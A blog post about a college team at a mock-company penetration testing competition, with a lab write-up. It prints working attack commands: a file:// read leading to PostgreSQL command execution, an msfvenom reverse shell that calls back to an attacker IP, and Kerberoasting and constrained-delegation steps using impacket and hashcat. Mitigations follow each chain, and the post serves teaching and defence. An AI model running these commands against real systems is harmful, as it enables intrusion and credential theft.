In January 2025, Bugcrowd proudly supported one of the world’s top collegiate pen testing teams from UMass Amherst – UMass Cybersecurity Club CPTC. UMass Amherst is one of the top 12 universities to reach the Global Finals of the Collegiate Pentesting Competition!
The competition consisted of the Bugcrowd sponsored team and many other teams finding vulnerabilities on a mock social media company. They also delivered a 90+ page report, and gave an executive presentation displaying their findings and strategy.
What is CPTC?
Collegiate Penetration Testing Competition (CPTC) is a competition focused on mimicking real-world penetration testing assessments for a mock company. Each team finds and exploits vulnerabilities on the company networks and presents a penetration testing report at the end of the competition. During the competition, each team will also face real-world challenges and situations from various mock company employees. The mission of CPTC is to “address the cybersecurity skills gap by educating college students in technology, communication, and collaboration”.
Read on to learn about the students POV experience and what they learned along the way.
UMass Cybersecurity Club CPTC: POV
On Friday January 17th, we drove about 6 hours from Massachusetts to Rochester, New York, arriving at RIT Inn & Conference Center for check-in.
Shoutout Tsingtao House in Rochester 🔥🔥🔥🔥Very delicious Chinese food!
On Saturday, competition lasted from 9:30 AM to 5 PM, followed by a banquet and a career fair. Afterwards, our team started working on our report with music in the background.
We were able to meet plenty of amazing people and companies during the banquet and celebrate the 10th anniversary of CPTC.
On Sunday, competition lasted a bit longer, ending at 6 PM. After the competition officially ended, our team worked on finishing our report and preparing for the presentation.
On Monday, which was our last day, we presented our findings to mock executive members of the company. We also listened to an amazing talk by Ellis Springe from IBM about moving forward in offensive security and learned all the detail that goes on behind the scenes of the competition from staff members.
Key lessons learned
Throughout the competition, we gained many valuable lessons, such as how communication, networking, and report writing skills are just as important as technical skills in cybersecurity. In the cybersecurity industry, many careers will involve working with people in various business areas or levels of expertise in security. These include software engineers, IT workers, and non-technical business managers and executives.
Therefore, it is essential to practice these skills along with professionalism for both the competition and in the real-world, even if you do not become a pen tester.
We will end by summarizing the key lessons we learned from the CPTC Globals experience:
- Take opportunities to network with other teams and staff members: While competition felt intense, we recognized the importance of networking with other teams and staff members. Many of them are people that we’ll see in the industry, and there will always be something to learn from others.
- Don’t be scared of breaking the status quo: From the talks and competition experience, we learned that the status quo and thinking outside the box is key to not just being an excellent pentester, but also in engaging in any cybersecurity news and careers. Every step we take out of our comfort zone will contribute to greater success.
- Communication skills with both your team and clients are just as important as technical skills: While we were proactive with reaching out to the client when things went wrong and conveyed vulnerability risks clearly, there were situations that we should’ve communicated with our entire team as well as our clients before taking certain actions that could potentially disrupt the company’s daily functionalities.
- Get a lot of sleep and stay hydrated! The competition days will be long and stressful, especially under time constraints. It’s crucial to maintain the essential elements for survival.
- Stay positive, have fun, and learn a lot from the experience!
Environment overview
Our client, OuiCroissant, asked us to test both their internal networks and their flagship web application, Y (previously named Flakebook).The scope consisted of 2 subnets, 10.0.1.0/24 (Corporate Network) and 10.0.2.0/24 (Developer Network), and one domain, yyy.chat.
During the behind-the-scenes revelation, the developer team of CPTC10 discussed gaining inspiration from friends who work in the social media industry. They set up the environment in an attempt to mimic the real-world as much as possible, thus leading to heavy usage of microservices and containers.
In the Active Directory environment, there was one domain controller (10.0.1.6), one exchange server (10.0.1.7), and two workstations (10.0.2.100 and 10.0.2.104).
The Y web app ran on 10.0.1.5, and there was an admin panel on 10.0.2.5.
On 10.0.2.250, there was a port open running a custom golang interpreter. (https://github.com/ouitaytay/golash).
In the Y web app, you could create an account and log in to make public posts, comment and react to other people’s posts, and customize your profile picture.
In the Y admin panel, once logged in, you could ban and edit Y users’ information.
Exploiting local file read vulnerabilities and its implications
During the engagement, we were given access to Y at yyy.chat, and were able to find an exploit chain from a normal social media account user. This lead to having a shell on the postgres container which held all of the user data.
In the Y app, there’s a feature that allows users to change their profile picture to both local and remote images. While the local image upload doesn’t seem to have anything too interesting, the remote file upload smelled a bit fishy.
We first verified that the remote file worked normally by copying the link to the Y logo, and then we tried fiddling around with the individual requests in Burpsuite. It was clear that only one request was made, so we tried fiddling around with the remote URL (the local pfp upload uses 2 requests, first uploading the image to get the id and then making another request to associate the id with the user). We quickly got an error in the http response:
```
error: URL must start with file://, http://, or https://
```
Hold up, what is file:// doing here? Let’s first try sending file:///etc/passwd to see if it actually works.
It works! Now all we need to do is just retrieve the file by downloading the profile picture.
Now to actually utilize the vulnerability: let’s download file:///proc/self/environ.
And now we have everything we need to sign in to the postgres server handed to us on a silver platter. Let’s log in!
There’s some pretty sensitive data in here, including but not limited to: usernames, names, emails, DoBs, valid auth JWTs, hashed passwords, TOTP secrets, and even bios, which wasn’t implemented anywhere in Y.
That’s cool, but we can definitely go further with a postgres user. We first verified that we could run commands from postgres using this guide from hacktricks:
```
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
```
However, when we tried to run a reverse shell instead of id, the child process always exited with status code 2, and we didn’t get a connection. We suspected that using redirects to /dev/tcp straight from postgres was doing some weird stuff, so we turned the reverse shell into an executable. We also found that the target machine was very barebone (no curl or wget that would present an efficient way to transfer the payload onto the target machine), so we base64 encoded the payload and echoed it onto the target machine. Good thing we were able to base64 decode the payload on the target machine. We then executed the reverse shell and obtained remote code execution.
```
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<attacker IP> LPORT=<listener
port> -f elf | base64 -w0 > revshell
# on postgres server
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM ' echo "<contents of base64 revshell>" > /tmp/rev ';
COPY cmd_exec FROM PROGRAM ' base64 -d /tmp/rev > /tmp/rev2 ';
COPY cmd_exec FROM PROGRAM ' chmod +x /tmp/rev2 ';
COPY cmd_exec FROM PROGRAM ' /tmp/rev2 ';
```
Mitigations
There were multiple things that went wrong in order for this chain to work. Some notable points that could prevent an attacker from being able to gain access to the postgres container are as follows:
- Prevent local files from being accessed in the remote pfp upload.
- Don’t put credentials or sensitive information in environment variables (See docker secrets).
- If possible, don’t open the postgres port to the whole network/internet. This can be done many ways, such as only allowing certain addresses to connect or using a docker-compose internal network.
- Remove the
pg_execute_server_programandCREATEROLEpermissions from users if not necessary. In general, follow the principle of least privilege whenever possible. - Implement the principle of least privilege and remove permissions from the postgres user to prevent them from reading and writing to the file system.
References
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-postgresql.html
Using Kerberoasting and constrained delegation attacks to achieve domain administrator access
In OuiCroissants’ Active Directory network, our team was able to compromise the entire domain through Kerberoasting and Constrained Delegation attacks. Here, we’ll demonstrate how we were able to abuse these two attack vectors to escalate privileges from a domain user service account to domain admin.
Using any domain user, we can request Kerberos ticket granting service (TGS) tickets for the service accounts and extract the password hashes from memory.
We successfully extracted and cracked the password hash of service account FlakeBook_SSPR by running the following commands:
```
impacket-GetUserSPNs -request -dc-ip 10.0.1.6 -outputfile hashes.kerberoast
oui.local/domain_user
hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt --force
```
We then confirmed the credentials using netexec.
Next, using bloodhound we found that FlakeBook_SSPR can impersonate any user and obtain access on their behalf. This leads to privilege escalation by leveraging AllowedToDelegate permissions on cifs\FLAKEAD (constrained delegation attack).
We leveraged this misconfiguration to impersonate the domain administrator, thus compromising the entire domain. We achieved this by first creating a forged ticket-granting ticket (TGT) with FlakeBook_SSPR’s password hash to impersonate the user Administrator for the CIFS service. Next, we conducted a Pass the Ticket attack by using impacket’s psexec tool to access the C$ admin share on the domain controller.
```
python3 getST.py -spn “cifs/flakead” -impersonate “administrator”
“oui.local/FlakeBook_SSPR:______” -altservice “host/FLAKEAD.oui.local”
```
```
export KRB5CCNAME=administrator@host_FLAKEAD.oui.local@OUI.LOCAL.ccache
impacket-psexec -k -no-pass oui.local/Administrator@FLAKEAD.oui.local
```
Mitigations
The two misconfigurations demonstrated in this blog were abused to escalate privileges from a normal domain user to domain admin, showing the danger of security misconfigurations in an Active Directory network. However, there are mitigations for both misconfigurations.
Follow the steps below to mitigate Kerberoasting attacks:
- Ensure that all service accounts have long and complex passwords (at least 20 characters)
- Rotate passwords every 30 days
- Enable AES Kerberos encryption rather than RC4 to make it more difficult for attackers to crack passwords offline
- Use Group Managed Service Accounts (gMSA) or Delegated
Managed Service Accounts (dMSA)
To mitigate Constrained Delegation attacks, utilize Resource-Based Constrained Delegation where there is a more restrictive mapping of permissions. This works because services are delegating permissions instead of users. Furthermore, it’s possible to specify which accounts cannot be delegated and restrict this attack from high privilegeaccounts, such as Administrator. This can be achieved by going to Active Directory Users and Computers -> going to the account tab of a specific user -> checking “Account is sensitive and cannot be delegated”.
